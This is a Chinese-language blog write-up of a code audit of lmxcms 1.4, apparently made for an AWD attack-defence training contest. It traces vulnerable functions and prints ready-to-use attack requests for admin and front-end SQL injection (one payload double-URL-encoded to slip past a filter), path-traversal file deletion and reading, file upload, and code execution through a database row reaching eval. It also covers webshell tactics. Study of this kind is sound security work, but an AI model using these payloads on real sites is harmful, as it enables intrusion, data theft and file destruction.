一个男人一句话改变我的一生之phpcms代码审计
1 | 写在前面:在各位大师傅的投喂下,涨了很多见识所以开始了一个男人一句话改变我的一生系列。 |
lmxcms1.4,代码审计–复现
在awd训练赛中遇到了这套cms,于是打算学习审计一手
每种漏洞只找了一个代表学习不代表只要一个,实际的漏洞点有很多
参考了师傅们的博客,先在这里贴一手
1 | https://blog.csdn.net/qq_45764684/article/details/130962179 |
1 | 常规搭建cms:phpstudy+phpstorm,apache2.4.39+MySQL5.7.26,php5.3.29 |

cms请求处理格式
进来先看到前台入口文件
配置文件:/inc/config.inc.php
初始化文件:/inc/run.inc.php


全局【ctrl+shift+alt+n】搜run()

分别传参是类名,方法名
?m=xx类名&a=xx方法
后台SQL注入漏洞
漏洞点:参数可控,参与执行sql语句
在bookaction.class.php,可控参数名id,进入getReply函数
getReply—>selectModel—>selectDB



可以发现将id传进去,一层解一层在selectDB执行了sql语句
常规调试是不会看到sql语句,在执行之后添加echo $sql;来看具体的调试情况

根据前面知道的请求格式,给id随便传个参数,注意方法名是一开始的reply()
【注意这个是admin下的后台漏洞】
1 | /admin.php?m=book&a=reply&id=1 |

有回显,报错注入
1 | /admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)--+ |

前台SQL注入漏洞
漏洞点:在过滤函数之前进行url解码【不严格】
找到name参数,由data来,追踪p有post和get传输

有post和get传输,说明参数可控,回到处理name数据函数

继续跟进getNameData

–>onemodel
—>oneDB,在oneDB中执行了sql语句,

同时在p处理data的时候,发现了过滤非法提交信息函数filte_sql
但是回到主函数可以看到有urldecode 并且是在执行sql语句之后

二次编码注入:当对name传输数据时会先进行一次url解码,如果将payload二次编码,解了一次之后还有一层url编码,filte_sql就过滤不了恶意payload,产生漏洞了
【注意:客户端和服务端看代码的流程是要反过来的】
1 | a' and updatexml(1,concat(0x7e,(select version()),0x7e),1) # |
1 | /index.php?m=tags&name=%25%36%31%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%63%25%33%31%25%32%39%25%32%30%25%32%33 |

后台任意文件删除
漏洞点:unlink函数
全局搜索调用情况

delone

delbackdb调用了delone,发现filename是get可控参数

1 | /admin.php?m=Backdb&a=delbackdb&filename=../../install/1.txt |

后台任意文件读取
漏洞点文件读取函数file_get_contents

查看getcon调用情况

dir参数可控,在当前editfile目录访问就能进行读取
1 | http://lmxcms//admin.php?m=Template&a=editfile&dir=admin/AD//ad.html |
注意最后查看是//

后台文件上传漏洞
漏洞点:file_put_contents函数
在任意读取当中也存在文件上传漏洞


post分别传入文件名称跟内容就好了【没有测成功】

黑盒的后台文件上传漏洞,可以自行修改文件上传类型

上传构造好的php文件就好了

后台命令执行漏洞
漏洞点:sql写马导致rec
找到eval函数 跟进参数get传参cid可控

走进caijidataone函数,发现掉了cj_data_tab()

查询的是cj_data表



那么只要在cj_data表中插入,恶意代码,在执行sql查询执行了恶意代码实现命令执行,后台找到可以执行sql语句的地方

1 | INSERT INTO `lmxcms`.`lmx_cj_data` (`id`, `lid`, `data`, `uid`, `url`, `time`) VALUES (3, 4, 'phpinfo()', 33, 'a', 5); |


awd思路
因为是从awd中遇到的cms,如何获得flag,提交拿到分数才是重点
能获得本地根目录下的flag基本上是后台漏洞为主
登陆对抗
维护
连接相应的数据库替换 admin的默认密码pwd字段【是否加salt】

攻击
如果cms的默认密码被改了的情况下,可以使用前台sql注入漏洞获得相应admin的pwd字段【但不一定能够解密出来】
利用
在awd当中要攻击的主机不止一台,在没有权限控制的情况下,是否可以写一个批量登陆脚本获得cookie【没来得及验证】,为后面打exp要验证管理员身份做铺垫
漏洞总结
在awd过程当中这一套cms的漏洞打得多的是删除和上传。
在读取没有被修的情况下,效率最高,只要登陆后台,打exp就好了
打的时候,发现家里啥都被删没了和多了一堆马子都是痛苦的
文件上传点依旧是经典的一句话木马转不死马,被打进来的时候,还找不到竞争脚本,下次应该开局先放上去的
这一次的点全在后台,打exp要权限验证,没整过这个点,以至于后面摆烂拖后腿了
维护的话,还是感觉修改默认密码,加ctf_waf,每个点改的话来不及,但是这次都没加【下源码下了20分钟】不嘻嘻
总结
这次坑了sun和杨丘师傅,感谢不杀之恩,我下一次肯定会做到的【坚信】
phpcms的代码审计,寻找可控参数变量,有没有参与危险函数,白盒+黑盒一起试,搭建的时候注意配置,awd的时候,要快速的打exp和历史漏洞获得分数,注意常规的维护。pwn是堆溢出【等我再沉淀沉淀】
